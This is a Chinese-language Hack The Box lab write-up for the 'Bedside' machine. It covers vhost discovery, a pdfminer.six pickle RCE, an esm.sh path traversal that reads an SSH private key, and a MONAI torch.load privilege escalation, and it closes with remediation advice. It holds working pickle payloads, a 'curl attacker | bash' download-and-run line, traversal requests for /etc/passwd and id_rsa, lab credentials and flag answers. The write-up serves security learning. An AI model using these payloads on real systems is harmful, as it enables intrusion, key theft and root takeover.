HTB Bedside 渗透测试记录
目标:10.129.48.61(Debian,主机名 bedside,Apache 2.4.68 + PHP-FPM,OpenSSH 10.0p2)
跳板机:htb-nwz5acpmnq.htb-cloud.com(HTB 工作机,tun0 = 10.10.15.135)
跳板机账号:muyuan / QA5qh4xo
测试日期:2026-09-29
最终结果:
- User Flag =
aa88e88eed11fddfba988835aee34e05(/home/developer/user.txt)
- Root Flag =
88bdba6128d35d3720aa44f248da93b4(/root/root.txt,经 MONAI torch.load(weights_only=False) 提权得到 root)
整条利用链:vhost 发现 research.bedside.htb 上传门户 → pdfminer.six CMap 反序列化(CVE-2025-64512) 拿到容器内 datawrangler shell → 内网 esm.sh 开发服务(:3000)路径穿越读宿主机 developer 私钥 → SSH 落地读 user flag → MONAI CheckpointLoader + torch.load(weights_only=False) 反序列化(CVE-2025-58756) 经共享卷 /datastore 提权 → SUID bash → root flag。
0. 环境准备
所有操作均在跳板机上完成(目标只对 VPN 网段可达)。
sshpass -p 'QA5qh4xo' ssh muyuan@htb-nwz5acpmnq.htb-cloud.com
echo "10.129.48.61 bedside.htb" | sudo tee -a /etc/hosts
echo "10.129.48.61 research.bedside.htb" | sudo tee -a /etc/hosts
本机同目录下 .scratch/bedside/ 保存了本次用到的全部脚本:
gen.py(生成 pickle + 触发 PDF)、httpserver.py(下发/回收)、www/c.sh(容器内受控脚本)、build_payloads.py(生成恶意 .pt 与样本 PNG)。
1. 侦察
nmap -Pn -p- --min-rate 2000 -T4 10.129.48.61 -oN allports.txt
# 22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u4
# 80/tcp open http Apache httpd 2.4.68
# 3000/tcp filtered ppp <- 被防火墙专门 DROP,内网服务伏笔
nmap -Pn -sV -sC -p 22,80,3000 10.129.48.61
# http-title: Did not follow redirect to http://bedside.htb/
ACK 扫描确认只有 3000 是被防火墙丢包(其余端口只是未监听):
sudo nmap -sA -p 22,80,3000,5000,8000,8080,8443 -T4 10.129.48.61
# 3000/tcp filtered (22/80/5000/8000/8080/8443 均 unfiltered)
curl -s -m8 http://10.129.48.61:3000/ # 超时,外部不可达
bedside.htb 是一个静态诊所站(index.php 只是内联 CSS/SVG 的静态页,无表单、无参数)。目录爆破只有 index.php 和 /javascript/jquery/:
feroxbuster -u http://bedside.htb/ -w .../DirBuster-2007_directory-list-2.3-medium.txt \
-x php,html,txt,js,json,bak,zip
ffuf -u "http://bedside.htb/index.php?FUZZ=test" -w .../burp-parameter-names.txt -fs 7189 # 无变化
主站是死路。突破口来自虚拟主机爆破,不是目录爆破。
2. 子域发现:research.bedside.htb
默认 vhost 把所有未知 Host 都 301 到 http://bedside.htb/(响应体大小 ~347+len(host)),因此要按“排除默认重定向”的方式过滤:
ffuf -u http://bedside.htb/ -H 'Host: FUZZ.bedside.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-fs 7189 -ac
# research [Status: 200, Size: 3152, Words: 313, Lines: 80]
curl -sI -H 'Host: research.bedside.htb' http://10.129.48.61/
# HTTP/1.1 200 OK
# X-Powered-By: pdfminer.six <-- 关键:后端用 pdfminer 解析 PDF
门户是一个未认证的医疗影像上传站点,接受 jpeg/jpg/png/bmp/tiff/dcm/pdf 及压缩包,并提示“某些格式在 AI 训练前会被转换”——意味着存在异步后端解析器。
上传目录通过故意触发 MIME 报错泄露:
echo hi > hi.pickle.gz
curl -s -F 'uploadFile=@hi.pickle.gz;type=application/gzip' http://research.bedside.htb/
# MIME type mismatch. Unable to upload file to destination /var/www/research.bedside.htb/uploads
MIME 校验基于内容魔数(真实 gzip / PDF / DICOM 可通过,text/plain 被拒),所以真正的 gzip 与 PDF 都能上传。
3. Foothold — pdfminer.six CMap 反序列化 RCE(CVE-2025-64512)
后端 pdfminer.six 在解析 PDF 字体的 /Encoding(CMap)时,会用 pickle.loads() 加载 CMapDB 的预编译缓存文件 `
.pickle.gz`,且不校验来源。我们:
1. 上传一个 gzip 压缩的 pickle(文件名 `bedside.pickle.gz`,反序列化时执行 `os.system`);
2. 上传一个 PDF,其 `/Encoding` 指向该文件的**绝对路径**(不含 `.pickle.gz` 后缀,pdfminer 解析时会自动补全),路径中的 `/` 用 PDF 十六进制转义 `#2F`。
`gen.py`(核心):
```python
class RCE:
def __reduce__(self):
return (os.system, ("curl -fsS http://%s:%s/c.sh | bash" % (LHOST, LPORT),))
with gzip.open("bedside.pickle.gz", "wb") as f:
pickle.dump(RCE(), f)
# trigger.pdf 里:
# 5 0 obj<server.log 2>&1 .../out_exfil_recon
```
回收结果,确认落地身份:
```text
whoami: datawrangler
id: uid=988(datawrangler) gid=1001(dataops) groups=1001(dataops)
hostname: data-wrangler # 在 PDF 处理容器内
pwd: /app
--- /etc/hosts ---
127.0.1.1 bedside bedside.htb research.bedside.htb
```
---
## 4. 内网 Pivot — esm.sh 开发服务路径穿越(读 developer 私钥)
外部被防火墙屏蔽的 `:3000` 在容器内可达(Docker 网关 `172.17.0.1:3000`,也可 `127.0.0.1:3000`),是一个 React/ESM 开发服务(“Bedside Clinic - Image Viewer”)。普通 API 路径 404,弱点在包解析路由 `/pr/`,且必须用 `--path-as-is` 防止 curl 归一化:
```bash
curl --path-as-is -sS \
'http://172.17.0.1:3000/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'
# developer:x:1000:1000:developer,,,:/home/developer:/bin/bash
curl --path-as-is -sS \
'http://172.17.0.1:3000/pr/x/y@99/../../../../../../../../../../home/developer/.ssh/id_rsa?raw=1&module=1'
# -----BEGIN OPENSSH PRIVATE KEY----- ...
# 顺带直接读到 user flag:
curl --path-as-is -sS \
'http://172.17.0.1:3000/pr/x/y@99/../../../../../../../../../../home/developer/user.txt?raw=1&module=1'
# aa88e88eed11fddfba988835aee34e05
```
把私钥存成 `dev_id_rsa`(`chmod 600`)后 SSH 落地:
```bash
ssh -i dev_id_rsa developer@bedside.htb
# uid=1000(developer) gid=1000(developer) groups=1000(developer),100(users)
# hostname: bedside
cat ~/user.txt # aa88e88eed11fddfba988835aee34e05
```
**User Flag = `aa88e88eed11fddfba988835aee34e05`**
---
## 5. Privilege Escalation — MONAI / PyTorch 不安全反序列化(CVE-2025-58756)
```bash
developer@bedside:~$ sudo -l
# (ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py
```
`/opt/trainer/bedside_trainer.py` 用 MONAI 的 `CheckpointLoader` 加载 `/datastore/checkpoints` 中最新的 `*.pt`,内部 `torch.load(..., weights_only=False)` —— 等价于对攻击者可控文件 `pickle.loads`。而 `/datastore` 是**容器与宿主机共享的卷**,容器内 `datawrangler` 对其 `checkpoints/`、`processed/` 有写权限:
```bash
# 容器内(datawrangler)
ls -la /datastore # drwxrwx--- datawrangler dataops
touch /datastore/checkpoints/.wtest # CHECKPOINTS_WRITABLE
```
因此“容器写 checkpoint + 宿主机 root 读取”即构成提权链。脚本还会先构建 dataloader,因此需要至少 1 个合法样本——示例流程是用 `c.sh` 清空 staging 里的空 `.txt`(否则会被 promote 后令 dataloader 崩溃),并植入一张 64×64 PNG。
恶意 `.pt` 就是标准 Torch 存档(zip + pickle,手工构造,无需 torch):
```python
# build_payloads.py
class RCE:
def __reduce__(self):
return (os.system, ("chmod 4755 /bin/bash; "
"cp /root/root.txt /tmp/root_flag.txt; "
"chmod 644 /tmp/root_flag.txt",))
payload = pickle.dumps({"model": RCE(), "optimizer": {}, "epoch": 1}, protocol=2)
with zipfile.ZipFile("evil.pt", "w", zipfile.ZIP_STORED) as z:
z.writestr("archive/data.pkl", payload)
z.writestr("archive/version", "3\n")
```
通过 `c.sh` 投放(容器从跳板机 `8000` 拉取):
```bash
rm -f /datastore/checkpoints/*.pt /datastore/processed/* /datastore/staging/*.txt
curl -s http://10.10.15.135:8000/sample.png -o /datastore/processed/sample.png
curl -s http://10.10.15.135:8000/evil.pt -o /datastore/checkpoints/checkpoint_epoch_9999.pt
```
以 `developer` 运行白名单命令触发(注意:该 sudo 规则是**精确匹配**,不能附加参数):
```bash
sudo -n /usr/bin/python3 /opt/trainer/bedside_trainer.py
# ... loading with CheckpointLoader (callable mode) ...
# TypeError: Expected state_dict to be dict-like, got .
```
脚本随后报错崩溃,但**副作用已在 `torch.load` 反序列化时执行完毕**:
```bash
ls -l /bin/bash # -rwsr-xr-x 1 root root (SUID 已设置)
cat /tmp/root_flag.txt # 88bdba6128d35d3720aa44f248da93b4
/bin/bash -p -c 'id; cat /root/root.txt'
# uid=1000(developer) gid=1000(developer) euid=0(root) groups=1000(developer),100(users)
# 88bdba6128d35d3720aa44f248da93b4
```
**Root Flag = `88bdba6128d35d3720aa44f248da93b4`**
---
## 6. 关键坑与经验
1. **子域是突破口**。默认 vhost 把一切未知 Host 都 301 到 `bedside.htb`,用普通 `gobuster vhost` 很容易被 301 淹没;应按“响应体大小 ≠ 默认值”过滤(如 `ffuf -fs 7189`),才能发现 `research.bedside.htb`。
2. **`X-Powered-By: pdfminer.six` 是明示**。上传型门户 + 后端转换器 = 解析器漏洞面;`pdfminer.six` 的 CMap 缓存走 `pickle.loads`(CVE-2025-64512)。
3. **MIME 校验按内容魔数**:真实 gzip 可通过(`type=application/gzip`),`text/plain` 会被拒。因此 pickle 必须真的是 gzip 文件。
4. **pdfminer 自动补 `.pickle.gz`**:`/Encoding` 里的路径要**不含**后缀,且 `/` 用 `#2F` 十六进制转义;`research.bedside.htb` 中的 `.` 保持字面即可。
5. **worker 每 30s 重扫且可重复触发**。用“payload 拉取 `c.sh` 再执行”的方式做成了稳定的命令通道,省去了维护交互式反弹 shell 的麻烦。
6. **`:3000` 只对内部可达**(防火墙专门 DROP)。容器内走 `172.17.0.1:3000`,路径穿越必须加 `curl --path-as-is`,否则 `../` 会被客户端归一化。
7. **`/datastore` 是跨边界共享卷**:低权容器可写 + 高权宿主机进程读取 = 提权通道。`torch.load(weights_only=False)`(MONAI `CheckpointLoader`)是关键(CVE-2025-58756)。
8. **“崩溃”不等于“失败”**:`load_state_dict` 报 `got ` 是正常的——反序列化副作用(`chmod +s`)在此之前就已执行。
9. **sudo 规则精确匹配**:`/usr/bin/python3 /opt/trainer/bedside_trainer.py` 不接受任何附加参数,攻击必须藏在脚本“读取的文件”里。
---
## 7. 时间线
| 阶段 | 动作 | 结果 |
|------|------|------|
| 侦察 | nmap 全端口 | 22、80 开放;3000 被过滤(伏笔) |
| Web | 目录/参数爆破 | 主站为静态页,死路 |
| 子域 | Host 头爆破(排除默认 301) | 发现 `research.bedside.htb`(pdfminer.six) |
| 上传 | MIME 探测 + 报错 | 泄露上传目录 `/var/www/research.bedside.htb/uploads` |
| 落地 | pdfminer.six CMap pickle RCE | 容器内 `datawrangler` shell |
| 内网 | :3000 esm.sh `/pr/` 路径穿越 | 读 `/etc/passwd`、`developer` 私钥、`user.txt` |
| User | SSH `developer@bedside.htb` | `aa88e88eed11fddfba988835aee34e05` |
| 提权 | 共享卷植入恶意 `.pt` + sudo 训练脚本 | `torch.load` 反序列化 → `chmod +s /bin/bash` |
| Root | `/bin/bash -p` | `88bdba6128d35d3720aa44f248da93b4` |
---
## 8. 修复建议
- **pdfminer.six**:升级到已修复版本;CMap/缓存一律用安全格式加载,禁止对来自文档的字符串路径做 `pickle.loads`。
- **上传门户**:不要把请求里的路径/名称当文件名;MIME 校验只是表面——真正的修复是消除不安全的解析器入口,并隔离处理进程。
- **内网开发服务(esm.sh)**:不要暴露无认证的开发/包解析端点;升级并对 `/pr/` 等路由做路径规范化(拒绝 `../`)。
- **共享卷**:容器与宿主机之间的“共享目录”不是信任边界;宿主机侧以 root 读取的文件必须由 root 拥有、不可被低权写入。
- **ML 基础设施**:升级 PyTorch/MONAI,`torch.load` 使用 `weights_only=True`,并使用安全全局白名单。
- **最小权限**:收紧 `sudo` 规则(不要 `NOPASSWD` 运行会加载外部文件的脚本)。
---
> 本次测试在 HTB 授权实验环境中进行,仅用于安全学习与防御改进。
Comments NOTHING